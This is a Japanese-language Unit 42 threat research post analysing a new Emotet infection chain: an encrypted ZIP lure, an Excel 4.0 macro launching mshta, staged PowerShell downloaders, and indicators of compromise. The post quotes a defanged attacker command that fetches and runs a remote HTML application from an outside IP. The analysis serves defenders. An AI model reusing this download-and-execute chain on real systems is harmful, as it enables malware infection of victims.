{"id":121987,"date":"2022-02-15T06:00:25","date_gmt":"2022-02-15T14:00:25","guid":{"rendered":"https:\/\/unit42.paloaltonetworks.com\/?p=121987"},"modified":"2022-02-20T17:05:31","modified_gmt":"2022-02-21T01:05:31","slug":"new-emotet-infection-method","status":"publish","type":"post","link":"https:\/\/unit42.paloaltonetworks.com\/ja\/new-emotet-infection-method\/","title":{"rendered":"Emotet\u306b\u65b0\u305f\u306a\u611f\u67d3\u624b\u6cd5"},"content":{"rendered":"<h2>\u6982\u8981<\/h2>\n<p>Unit 42\u306f\u611f\u67d3\u306e\u5e83\u304c\u3063\u3066\u3044\u308b\u30de\u30eb\u30a6\u30a7\u30a2\u30d5\u30a1\u30df\u30eaEmotet\u306e\u65b0\u305f\u306a\u611f\u67d3\u624b\u6cd5\u3092\u89b3\u6e2c\u3057\u307e\u3057\u305f\u3002\u3053\u306e\u624b\u6cd5\u306f\u65e9\u304f\u30822021\u5e7412\u670821\u65e5\u6642\u70b9\u3067\u306f\u78ba\u8a8d\u3055\u308c\u3066\u3044\u307e\u3059\u3002Emotet\u306f\u653b\u6483\u624b\u6cd5\u3092\u983b\u7e41\u306b\u5909\u66f4\u3059\u308b\u3070\u3089\u307e\u304d\u578b\u30de\u30eb\u30a6\u30a7\u30a2\u3067\u3001\u4eca\u56de\u306e\u624b\u6cd5\u5909\u66f4\u3082\u305d\u306e\u4f8b\u306b\u3082\u308c\u307e\u305b\u3093\u3002<\/p>\n<p>\u65b0\u305f\u306a\u653b\u6483\u3067\u306f\u30e1\u30fc\u30eb\u3067Excel\u30d5\u30a1\u30a4\u30eb\u304c\u914d\u4fe1\u3055\u308c\u3001\u305d\u306e\u6587\u66f8\u306b\u96e3\u8aad\u5316\u3055\u308c\u305fExcel4.0\u30de\u30af\u30ed\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002\u30de\u30af\u30ed\u304c\u6709\u52b9\u5316\u3055\u308c\u308b\u3068\u3001\u3042\u308bHTML\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u304c\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u30fb\u5b9f\u884c\u3055\u308c\u3001\u3053\u306eHTML\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u304c2\u6bb5\u968e\u5206\u306ePowerShell\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u3001\u3053\u306ePowerShell\u304cEmotet\u306e\u6700\u7d42\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u53d6\u5f97\u30fb\u5b9f\u884c\u3057\u307e\u3059\u3002<\/p>\n<p>\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306e\u304a\u5ba2\u69d8\u306f\u3001<a href=\"https:\/\/www.paloaltonetworks.jp\/cortex\/cortex-xdr\">Cortex XDR <\/a>\u307e\u305f\u306f <a href=\"https:\/\/www.paloaltonetworks.jp\/products\/secure-the-network\/wildfire\">WildFire<\/a>\u3068<a href=\"https:\/\/www.paloaltonetworks.com\/network-security\/threat-prevention\">\u8105\u5a01\u9632\u5fa1<\/a>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30b5\u30d6\u30b9\u30af\u30ea\u30d7\u30b7\u30e7\u30f3\u3092\u6709\u52b9\u306b\u3057\u305f <a href=\"https:\/\/www.paloaltonetworks.jp\/network-security\/next-generation-firewall\">\u6b21\u4e16\u4ee3\u30d5\u30a1\u30a4\u30a2\u30a6\u30a9\u30fc\u30eb<\/a> \u306b\u3088\u308a\u540c\u69d8\u306e\u96e3\u8aad\u5316\u6280\u8853\u3092\u4f7f\u7528\u3059\u308b\u30de\u30eb\u30a6\u30a7\u30a2\u30d5\u30a1\u30df\u30ea\u304b\u3089\u4fdd\u8b77\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<table>\n<tbody>\n<tr>\n<td><span style=\"font-weight: 400;\">\u672c\u7a3f\u3067\u89e3\u8aac\u3059\u308b\u4e3b\u306a\u30de\u30eb\u30a6\u30a7\u30a2<\/span><\/td>\n<td><a href=\"https:\/\/unit42.paloaltonetworks.jp\/tag\/Emotet-ja\/\"><span style=\"font-weight: 400;\">Emotet<\/span><\/a><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">\u5f71\u97ff\u3092\u53d7\u3051\u308b\u30aa\u30da\u30ec\u30fc\u30c6\u30a3\u30f3\u30b0\u30b7\u30b9\u30c6\u30e0<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Windows<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">Unit 42\u306e\u95a2\u9023\u30c8\u30d4\u30c3\u30af<\/span><\/td>\n<td><a href=\"https:\/\/unit42.paloaltonetworks.com\/category\/malware-2\/\"><span style=\"font-weight: 400;\">Malware<\/span><\/a><span style=\"font-weight: 400;\">, <\/span><a href=\"https:\/\/unit42.paloaltonetworks.jp\/tag\/macros-ja\/\"><span style=\"font-weight: 400;\">macros<\/span><\/a><span style=\"font-weight: 400;\">, <\/span><a href=\"https:\/\/unit42.paloaltonetworks.jp\/tag\/phishing-ja\/\"><span style=\"font-weight: 400;\">phishing<\/span><\/a><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h2>\u76ee\u6b21<\/h2>\n<p><a href=\"#history-of-emotet\">Emotet\u306e\u6b74\u53f2<\/a><br \/>\n<a href=\"#example-of-an-initial-email-lure\">\u6700\u521d\u306e\u30e1\u30fc\u30eb\u306b\u6dfb\u4ed8\u3055\u308c\u308b\u30eb\u30a2\u30fc(\u304a\u3068\u308a\u6587\u66f8)\u306e\u30b5\u30f3\u30d7\u30eb<\/a><br \/>\n<a href=\"#excel-document\">Excel\u6587\u66f8<\/a><br \/>\n<a href=\"#PowerShell\">PowerShell<\/a><br \/>\n<a href=\"#conclusion\">\u7d50\u8ad6<\/a><br \/>\n<a href=\"#indicators-of-compromise\">IoC<\/a><\/p>\n<h2><a id=\"history-of-emotet\"><\/a>Emotet\u306e\u6b74\u53f2<\/h2>\n<p>Emotet\u306f2014\u5e74\u306b\u30d0\u30f3\u30ad\u30f3\u30b0\u578b\u306e\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u3068\u3057\u3066\u6700\u521d\u306b\u767a\u898b\u3055\u308c\u3001\u8fd1\u5e74\u975e\u5e38\u306b\u6d3b\u767a\u306b\u6d3b\u52d5\u3057\u3066\u3044\u307e\u3059\u30022021\u5e741\u6708\u306b\u6cd5\u57f7\u884c\u6a5f\u95a2\u3084\u53f8\u6cd5\u6a5f\u95a2\u304c<a href=\"https:\/\/www.europol.europa.eu\/media-press\/newsroom\/news\/world%E2%80%99s-most-dangerous-malware-emotet-disrupted-through-global-action\">Emotet\u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u306e\u30a4\u30f3\u30d5\u30e9\u3092\u30c6\u30a4\u30af\u30c0\u30a6\u30f3\u3057\u307e\u3057\u305f<\/a>\u304c\u3001<a href=\"https:\/\/isc.sans.edu\/forums\/diary\/Emotet+Returns\/28044\/\">2021\u5e7411\u6708\u306b\u5fa9\u6d3b<\/a>\u3057\u3001\u305d\u308c\u4ee5\u964d\u3001\u6d3b\u52d5\u304c\u7d9a\u3044\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>Emotet\u306f\u653b\u6483\u624b\u6cd5\u306b\u3088\u304f\u30b9\u30ec\u30c3\u30c9\u30cf\u30a4\u30b8\u30e3\u30c3\u30af\u3092\u53d6\u308a\u5165\u308c\u3066\u3044\u307e\u3059\u3002\u8a73\u3057\u304f\u306f<a href=\"https:\/\/unit42.paloaltonetworks.jp\/emotet-thread-hijacking\/\">Emotet\u306e\u30b9\u30ec\u30c3\u30c9\u30cf\u30a4\u30b8\u30e3\u30c3\u30af\u306b\u3064\u3044\u3066\u89e3\u8aac\u3057\u305f\u3053\u3061\u3089\u306e\u30d6\u30ed\u30b0<\/a>\u306b\u8b72\u308a\u307e\u3059\u304c\u3001\u3053\u306e\u6280\u8853\u3067\u306f\u3001Emotet\u306b\u611f\u67d3\u3057\u305fWindows\u30db\u30b9\u30c8\u4e0a\u306e\u30e1\u30fc\u30eb\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u304b\u3089\u6b63\u5f53\u306a\u30e1\u30fc\u30eb\u3092\u76d7\u307f\u3001\u305d\u306e\u30e1\u30fc\u30eb\u3092\u30d9\u30fc\u30b9\u306b\u3057\u3066\u507d\u306e\u8fd4\u4fe1\u3092\u751f\u6210\u3057\u307e\u3059\u3002\u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u306f\u76d7\u3093\u3060\u30e1\u30fc\u30eb\u30c7\u30fc\u30bf\u3092\u4f7f\u3044\u3001\u5143\u306e\u9001\u4fe1\u8005\u306b\u306a\u308a\u3059\u307e\u3057\u305f\u507d\u306e\u8fd4\u4fe1\u3092\u4f5c\u6210\u3057\u307e\u3059\u3002<\/p>\n<p>\u5fa9\u6d3b\u4ee5\u6765\u3001Emotet\u306f\u30b9\u30ec\u30c3\u30c9\u30cf\u30a4\u30b8\u30e3\u30c3\u30af\u3057\u305f\u30e1\u30fc\u30eb\u3084\u305d\u306e\u307b\u304b\u306e\u30bf\u30a4\u30d7\u306e\u30e1\u30fc\u30eb\u3092\u4f7f\u3044\u3001\u3055\u307e\u3056\u307e\u306a\u611f\u67d3\u624b\u6cd5\u3092\u53d6\u308a\u5165\u308c\u3066\u6d3b\u52d5\u3057\u3066\u3044\u307e\u3059\u3002\u306a\u304b\u3067\u3082\u76ee\u3092\u5f15\u304f\u306e\u304c<a href=\"https:\/\/www.bleepingcomputer.com\/news\/security\/emotet-now-spreads-via-fake-adobe-windows-app-installer-packages\/\">2021\u5e7412\u6708\u306e\u507dAdobe Windows App Installer Package<\/a>\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u7528\u30ea\u30f3\u30af\u3092\u8a18\u8f09\u3057\u305f\u30e1\u30fc\u30eb\u3067\u3057\u3087\u3046\u3002\u5e74\u672b\u5e74\u59cb\u306e\u4f11\u6687\u3092\u7d4c\u3066\u30012022\u5e741\u6708\u3001Emotet\u306f\u6dfb\u4ed8\u30d5\u30a1\u30a4\u30eb\u30d9\u30fc\u30b9\u306e\u30e1\u30fc\u30eb\u306b\u623b\u3063\u3066\u304d\u307e\u3057\u305f\u3002As early as Dec. 21, 2021, Emotet started using a new infection method, which we describe in this blog.<\/p>\n<p>\u30d1\u30b9\u30ef\u30fc\u30c9\u3067\u4fdd\u8b77\u3055\u308c\u305fZIP\u30a2\u30fc\u30ab\u30a4\u30d6\u304c\u30e1\u30fc\u30eb\u6dfb\u4ed8\u30d5\u30a1\u30a4\u30eb\u3068\u3057\u3066\u4f7f\u7528\u3055\u308c\u3066\u3044\u308b\u30b1\u30fc\u30b9\u3082\u3042\u308a\u307e\u3059\u3002\u3053\u306e\u307b\u304b\u3001\u30e1\u30fc\u30eb\u306b\u76f4\u63a5\u6dfb\u4ed8\u3055\u308c\u305fExcel\u30b9\u30d7\u30ec\u30c3\u30c9\u30b7\u30fc\u30c8\u304c\u4f7f\u7528\u3055\u308c\u308b\u4f8b\u3082\u3042\u308a\u307e\u3059\u3002<\/p>\n<h2><a id=\"example-of-an-initial-email-lure\"><\/a>\u6700\u521d\u306e\u30e1\u30fc\u30eb\u306b\u6dfb\u4ed8\u3055\u308c\u308b\u30eb\u30a2\u30fc(\u304a\u3068\u308a\u6587\u66f8)\u306e\u30b5\u30f3\u30d7\u30eb<\/h2>\n<p>\u56f31\u306b\u793a\u3059\u306e\u306fEmotet\u304c\u9001\u3063\u305f\u6700\u521d\u306e\u30e1\u30fc\u30eb\u306e\u30eb\u30a2\u30fc(\u304a\u3068\u308a\u6587\u66f8)\u3067\u3001Emotet\u306b\u3088\u308b\u30b9\u30ec\u30c3\u30c9\u30cf\u30a4\u30b8\u30e3\u30c3\u30af\u304b\u3089\u306e\u6700\u8fd1\u306e\u30b5\u30f3\u30d7\u30eb\u3067\u3059\u3002\u76d7\u307e\u308c\u305f\u30e1\u30fc\u30eb\u30b9\u30ec\u30c3\u30c9\u306f2021\u5e746\u6708\u306e\u3082\u306e\u3067\u3001\u3053\u306e\u30e1\u30fc\u30eb\u306f2022\u5e741\u670827\u65e5\u306bEmotet\u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u304c\u9001\u4fe1\u3057\u307e\u3057\u305f\u3002\u3053\u306e\u30b5\u30f3\u30d7\u30eb\u306f\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30b7\u30b9\u30c6\u30e0\u56de\u907f\u3092\u306d\u3089\u3063\u3066ZIP\u30d5\u30a1\u30a4\u30eb\u3092\u6697\u53f7\u5316\u3057\u3066\u3044\u307e\u3059\u3002zip\u30d5\u30a1\u30a4\u30eb\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u306f\u30e1\u30fc\u30eb\u5185\u306b\u542b\u307e\u308c\u3066\u304a\u308a\u3001\u88ab\u5bb3\u8005\u304c\u4e2d\u8eab\u3092\u53d6\u308a\u51fa\u305b\u308b\u3088\u3046\u306b\u306a\u3063\u3066\u3044\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_121983\" aria-describedby=\"caption-attachment-121983\" style=\"width: 612px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-121984 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/02\/Figure-1-Redacted.jpg\" alt=\"2022\u5e741\u670827\u65e5\u306b\u9001\u4fe1\u3055\u308c\u305fEmotet\u306b\u3088\u308a\u30b9\u30ec\u30c3\u30c9\u30cf\u30a4\u30b8\u30e3\u30c3\u30af\u3055\u308c\u305f\u30e1\u30fc\u30eb\u306e\u30eb\u30a2\u30fc\u30b5\u30f3\u30d7\u30eb\" width=\"612\" height=\"792\" \/><figcaption id=\"caption-attachment-121983\" class=\"wp-caption-text\">\u56f31 2022\u5e741\u670827\u65e5\u306b\u9001\u4fe1\u3055\u308c\u305fEmotet\u306b\u3088\u308a\u30b9\u30ec\u30c3\u30c9\u30cf\u30a4\u30b8\u30e3\u30c3\u30af\u3055\u308c\u305f\u30e1\u30fc\u30eb\u306e\u30eb\u30a2\u30fc\u30b5\u30f3\u30d7\u30eb<\/figcaption><\/figure>\n<h2><a id=\"excel-document\"><\/a>Excel\u6587\u66f8<\/h2>\n<p>\u6697\u53f7\u5316ZIP\u30d5\u30a1\u30a4\u30eb\u306b\u306fExcel 4.0\u30de\u30af\u30ed\u3092\u542b\u3080Excel\u6587\u66f8\u304c1\u3064\u5165\u3063\u3066\u3044\u307e\u3059\u3002Excel 4.0\u30de\u30af\u30ed\u306f\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u306b\u60aa\u7528\u3055\u308c\u3084\u3059\u3044Excel\u6a5f\u80fd\u3067\u3001\u88ab\u5bb3\u8005\u304c\u8106\u5f31\u306aWindows\u30db\u30b9\u30c8\u4e0a\u3067\u30de\u30af\u30ed\u3092\u6709\u52b9\u306b\u3057\u3066\u306f\u3058\u3081\u3066\u3001\u60aa\u610f\u306e\u3042\u308b\u30b3\u30f3\u30c6\u30f3\u30c4\u304c\u6709\u52b9\u5316\u3055\u308c\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_121960\" aria-describedby=\"caption-attachment-121960\" style=\"width: 974px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-121961 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/02\/word-image-10.png\" alt=\"Excel 4.0\u30de\u30af\u30ed\u6587\u66f8\u306e\u30b9\u30af\u30ea\u30fc\u30f3\u30b7\u30e7\u30c3\u30c8\u3002Excel 4.0\u30de\u30af\u30ed\u306f\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u306b\u3088\u308b\u60aa\u7528\u304c\u76ee\u7acb\u3064\u3002\u4eca\u56de\u53d6\u308a\u4e0a\u3052\u308b\u65b0\u305f\u306aEmotet\u611f\u67d3\u624b\u6cd5\u3082\u305d\u306e\u4f8b\u5916\u3067\u306f\u306a\u3044\u3002\" width=\"974\" height=\"608\" \/><figcaption id=\"caption-attachment-121960\" class=\"wp-caption-text\">\u56f32 Excel 4.0\u30de\u30af\u30ed\u306e\u542b\u307e\u308c\u308b\u6587\u66f8<\/figcaption><\/figure>\n<p>\u6709\u52b9\u5316\u3055\u308c\u305f\u30de\u30af\u30ed\u30b3\u30fc\u30c9\u306f<span style=\"font-family: 'courier new', courier, monospace;\">cmd.exe<\/span>\u3092\u5b9f\u884c\u3057\u3001\u3053\u308c\u306b\u3088\u3063\u3066\u5f15\u6570\u4ed8\u304d\u3067<span style=\"font-family: 'courier new', courier, monospace;\">mshta.exe<\/span>\u304c\u5b9f\u884c\u3055\u308c\u3001\u30ea\u30e2\u30fc\u30c8\u306eHTML\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u304c\u53d6\u5f97\u30fb\u5b9f\u884c\u3055\u308c\u307e\u3059\u3002\u3053\u306e\u30b3\u30fc\u30c9\u3067\u306f\u3001\u9759\u7684\u306a\u691c\u51fa\u5bfe\u7b56\u3092\u56de\u907f\u3059\u308b\u305f\u3081\u300116\u9032\u6570\u3092\u4f7f\u3063\u305f\u308a\u3001\u6587\u5b57\u3092\u96e3\u8aad\u5316\u3057\u305f\u308a\u3057\u3066\u3044\u307e\u3059\u3002\u5b9f\u884c\u3055\u308c\u308b\u96e3\u8aad\u5316\u6e08\u307f\u30b3\u30de\u30f3\u30c9\u6587\u5b57\u5217\u306f\u6b21\u306e\u3068\u304a\u308a\u3067\u3059\u3002<span style=\"font-family: 'courier new', courier, monospace;\">cmd \/c mshta hxxp:\/\/91.240.118[.]168\/se\/s.html<\/span><\/p>\n<figure id=\"attachment_121962\" aria-describedby=\"caption-attachment-121962\" style=\"width: 1020px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-121963 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/02\/word-image-11.png\" alt=\"cmd\u3068mshta\u3092\u5b9f\u884c\u3059\u308bExcel4.0\u306e\u30de\u30af\u30ed\u30b3\u30fc\u30c9\" width=\"1020\" height=\"314\" \/><figcaption id=\"caption-attachment-121962\" class=\"wp-caption-text\">\u56f33 cmd\u3068mshta\u3092\u5b9f\u884c\u3059\u308bExcel4.0\u306e\u30de\u30af\u30ed\u30b3\u30fc\u30c9<\/figcaption><\/figure>\n<p>\u56f34\u306b\u793a\u3057\u305fHTML\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306f\u9ad8\u5ea6\u306b\u96e3\u8aad\u5316\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u306eHTML\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u304c\u8ffd\u52a0\u306ePowerShell\u30b3\u30fc\u30c9\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u30fb\u5b9f\u884c\u3057\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_121964\" aria-describedby=\"caption-attachment-121964\" style=\"width: 1031px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-121965 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/02\/word-image-12.png\" alt=\"\u96e3\u8aad\u5316\u3055\u308c\u305fHTML\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\" width=\"1031\" height=\"277\" \/><figcaption id=\"caption-attachment-121964\" class=\"wp-caption-text\">\u56f34 \u96e3\u8aad\u5316\u3055\u308c\u305fHTML\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3<\/figcaption><\/figure>\n<h2><a id=\"PowerShell\"><\/a>PowerShell<\/h2>\n<p>1\u6bb5\u76ee\u306e\u96e3\u8aad\u5316\u6e08\u307fPowerShell\u30b9\u30af\u30ea\u30d7\u30c8(\u56f35)\u306f<span style=\"font-family: 'courier new', courier, monospace;\">hxxp:\/\/91.240.118[.]168\/se\/s.png<\/span>\u306b\u63a5\u7d9a\u3057\u307e\u3059\u3002\u3053\u306eURL\u304b\u3089\u3001Emotet\u30d0\u30a4\u30ca\u30ea\u3092\u53d6\u5f97\u3059\u308b2\u6bb5\u76ee\u306ePowerShell\u30b3\u30fc\u30c9(\u4e00\u63c3\u3044\u5206\u306e\u30c6\u30ad\u30b9\u30c8\u30d9\u30fc\u30b9\u30b9\u30af\u30ea\u30d7\u30c8)\u304c\u8fd4\u3055\u308c\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_121966\" aria-describedby=\"caption-attachment-121966\" style=\"width: 2048px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-121967 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/02\/word-image-13.png\" alt=\"1\u6bb5\u76ee\u306ePowerShell\u30c0\u30a6\u30f3\u30ed\u30fc\u30c0\" width=\"2048\" height=\"1261\" \/><figcaption id=\"caption-attachment-121966\" class=\"wp-caption-text\">\u56f35 1\u6bb5\u76ee\u306ePowerShell\u30c0\u30a6\u30f3\u30ed\u30fc\u30c0<\/figcaption><\/figure>\n<p>2\u6bb5\u76ee\u306ePowerShell\u30b3\u30fc\u30c9(\u56f36)\u306b\u306f\u3001Emotet\u30d0\u30a4\u30ca\u30ea\u53d6\u5f97\u7528\u306bURL\u304c14\u500b\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u306fEmotet\u30d0\u30a4\u30ca\u30ea\u306e\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u306b\u6210\u529f\u3059\u308b\u307e\u3067\u5404URL\u306b\u63a5\u7d9a\u8a66\u884c\u3057\u307e\u3059\u3002\u8907\u6570URL\u304c\u3042\u308c\u3070\u3044\u305a\u308c\u304b\u306eURL\u304c\u30c6\u30a4\u30af\u30c0\u30a6\u30f3\u3055\u308c\u3066\u3082\u653b\u6483\u3092\u7d9a\u3051\u3084\u3059\u304f\u306a\u308a\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_121968\" aria-describedby=\"caption-attachment-121968\" style=\"width: 1019px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-121969 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/02\/word-image-14.png\" alt=\"HTTP\u30c8\u30e9\u30d5\u30a3\u30c3\u30af\u5185\u306e2\u6bb5\u76ee\u306ePowerShell\u30b3\u30fc\u30c9\u3092\u793a\u3057\u305f\u3068\u3053\u308d\" width=\"1019\" height=\"721\" \/><figcaption id=\"caption-attachment-121968\" class=\"wp-caption-text\">\u56f36 HTTP\u30c8\u30e9\u30d5\u30a3\u30c3\u30af\u5185\u306e2\u6bb5\u76ee\u306ePowerShell\u30b3\u30fc\u30c9\u3092\u793a\u3057\u305f\u3068\u3053\u308d<\/figcaption><\/figure>\n<p>Emotet DLL\u306f\u3053\u306e\u653b\u6483\u30c1\u30a7\u30fc\u30f3\u306e\u6700\u7d42\u6bb5\u968e\u3068\u3057\u3066\u3001\u81ea\u8eab\u306e\u30ea\u30bd\u30fc\u30b9\u30bb\u30af\u30b7\u30e7\u30f3\u304b\u3089\u6697\u53f7\u5316\u6e08\u307fPE\u3092\u30ed\u30fc\u30c9\u3057\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_121970\" aria-describedby=\"caption-attachment-121970\" style=\"width: 2048px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-121971 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/02\/word-image-15.png\" alt=\"Emotet DLL\u306e\u30ea\u30bd\u30fc\u30b9\u30bb\u30af\u30b7\u30e7\u30f3\u306b\u6697\u53f7\u5316\u6e08\u307fPE\u304c\u542b\u307e\u308c\u3066\u3044\u308b\" width=\"2048\" height=\"1051\" \/><figcaption id=\"caption-attachment-121970\" class=\"wp-caption-text\">\u56f37 Emotet DLL\u306e\u30ea\u30bd\u30fc\u30b9\u30bb\u30af\u30b7\u30e7\u30f3\u306b\u6697\u53f7\u5316\u6e08\u307fPE\u304c\u542b\u307e\u308c\u3066\u3044\u308b<\/figcaption><\/figure>\n<h2><a id=\"conclusion\"><\/a>\u7d50\u8ad6<\/h2>\n<p>Emotet\u306f\u975e\u5e38\u306b\u6d3b\u767a\u306a\u30de\u30eb\u30a6\u30a7\u30a2\u30d5\u30a1\u30df\u30ea\u3067\u3001\u305d\u306e\u611f\u67d3\u624b\u6cd5\u306f\u983b\u7e41\u306b\u5909\u66f4\u3055\u308c\u307e\u3059\u3002\u3053\u3046\u3057\u305f\u5909\u66f4\u306f\u691c\u51fa\u9003\u308c\u3092\u72d9\u3063\u305f\u3082\u306e\u3068\u601d\u308f\u308c\u307e\u3059\u3002\u65b0\u305f\u306a\u653b\u6483\u30c1\u30a7\u30fc\u30f3\u3067\u306f\u3001\u3055\u307e\u3056\u307e\u7a2e\u985e\u306e\u30d5\u30a1\u30a4\u30eb\u3084\u96e3\u8aad\u5316\u6e08\u307f\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u4f7f\u3046\u524d\u6bb5\u968e\u3092\u7d4c\u3066\u3088\u3046\u3084\u304f\u6700\u7d42\u306eEmotet\u30da\u30a4\u30ed\u30fc\u30c9\u306b\u5230\u9054\u3059\u308b\u3088\u3046\u306b\u306a\u3063\u3066\u3044\u308b\u3053\u3068\u304c\u308f\u304b\u308a\u307e\u3059\u3002<\/p>\n<p>\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306e\u304a\u5ba2\u69d8\u306f\u3001Cortex XDR\u307e\u305f\u306fWildFire\u3068\u8105\u5a01\u9632\u5fa1\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30b5\u30d6\u30b9\u30af\u30ea\u30d7\u30b7\u30e7\u30f3\u3092\u6709\u52b9\u306b\u3057\u305f\u6b21\u4e16\u4ee3\u30d5\u30a1\u30a4\u30a2\u30a6\u30a9\u30fc\u30eb\u306b\u3088\u308a\u540c\u69d8\u306e\u96e3\u8aad\u5316\u6280\u8853\u3092\u4f7f\u7528\u3059\u308b\u30de\u30eb\u30a6\u30a7\u30a2\u30d5\u30a1\u30df\u30ea\u304b\u3089\u4fdd\u8b77\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<h2><a id=\"indicators-of-compromise\"><\/a>IoC<\/h2>\n<h3>\u4ed8\u9332A: 2022\u5e741\u670827\u65e5\u306eEmotet\u30e1\u30fc\u30eb\u306e\u30eb\u30a2\u30fc\u6587\u66f8\u304b\u3089\u306e\u30d5\u30a1\u30a4\u30eb<\/h3>\n<p>SHA256\u30cf\u30c3\u30b7\u30e5: <span style=\"font-family: 'courier new', courier, monospace;\">9f22626232934970e4851467b7b746578f0f149984cd0e4e1a156b391727fac9<br \/>\n<\/span>\u30d5\u30a1\u30a4\u30eb\u30b5\u30a4\u30ba: 40,929\u30d0\u30a4\u30c8<br \/>\n\u30d5\u30a1\u30a4\u30eb\u540d: <span style=\"font-family: 'courier new', courier, monospace;\">form.zip<br \/>\n<\/span>\u30d5\u30a1\u30a4\u30eb\u306e\u8aac\u660e: 2022\u5e741\u670827\u65e5\u306b\u898b\u3089\u308c\u305f\u30d1\u30b9\u30ef\u30fc\u30c9\u3067\u4fdd\u8b77\u3055\u308c\u305f\u6697\u53f7\u5316ZIP\u30a2\u30fc\u30ab\u30a4\u30d6<br \/>\n\u30d1\u30b9\u30ef\u30fc\u30c9: <span style=\"font-family: 'courier new', courier, monospace;\">EHGWQARLC<\/span><\/p>\n<p>SHA256\u30cf\u30c3\u30b7\u30e5: <span style=\"font-family: 'courier new', courier, monospace;\">6d55f25222831cce73fd9a64a8e5a63b002522dc2637bd2704f77168c7c02d88<br \/>\n<\/span>\u30d5\u30a1\u30a4\u30eb\u30b5\u30a4\u30ba: 77,989\u30d0\u30a4\u30c8<br \/>\n\u30d5\u30a1\u30a4\u30eb\u540d: <span style=\"font-family: 'courier new', courier, monospace;\">form.xlsm<\/span><span style=\"font-family: 'courier new', courier, monospace;\"><br \/>\n<\/span>\u30d5\u30a1\u30a4\u30eb\u306e\u8aac\u660e: \u4e0a\u8a18ZIP\u30a2\u30fc\u30ab\u30a4\u30d6\u304b\u3089\u62bd\u51fa\u3057\u305fExcel4.0\u306e\u30de\u30af\u30ed\u3092\u542b\u3080Excel\u30d5\u30a1\u30a4\u30eb<\/p>\n<h3>\u4ed8\u9332B: 2022\u5e741\u670827\u65e5\u306b\u89b3\u6e2c\u3055\u308c\u305fPowerShell\u30b9\u30af\u30ea\u30d7\u30c8<\/h3>\n<p>SHA256\u30cf\u30c3\u30b7\u30e5: <span style=\"font-family: 'courier new', courier, monospace;\">9bda03babb0f2c6aa9861eca95b33af06a650e2851cce4edcc1fc3abd8e7c2a1<br \/>\n<\/span>\u30d5\u30a1\u30a4\u30eb\u30b5\u30a4\u30ba: 10,986\u30d0\u30a4\u30c8<br \/>\n\u30d5\u30a1\u30a4\u30eb\u306e\u5834\u6240: <span style=\"font-family: 'courier new', courier, monospace;\">hxxp:\/\/91.240.118[.]168\/se\/s.html<br \/>\n<\/span>\u30d5\u30a1\u30a4\u30eb\u306e\u8aac\u660e: 1\u6bb5\u76ee\u306ePowerShell\u30b9\u30af\u30ea\u30d7\u30c8<\/p>\n<p>SHA256\u30cf\u30c3\u30b7\u30e5: <span style=\"font-family: 'courier new', courier, 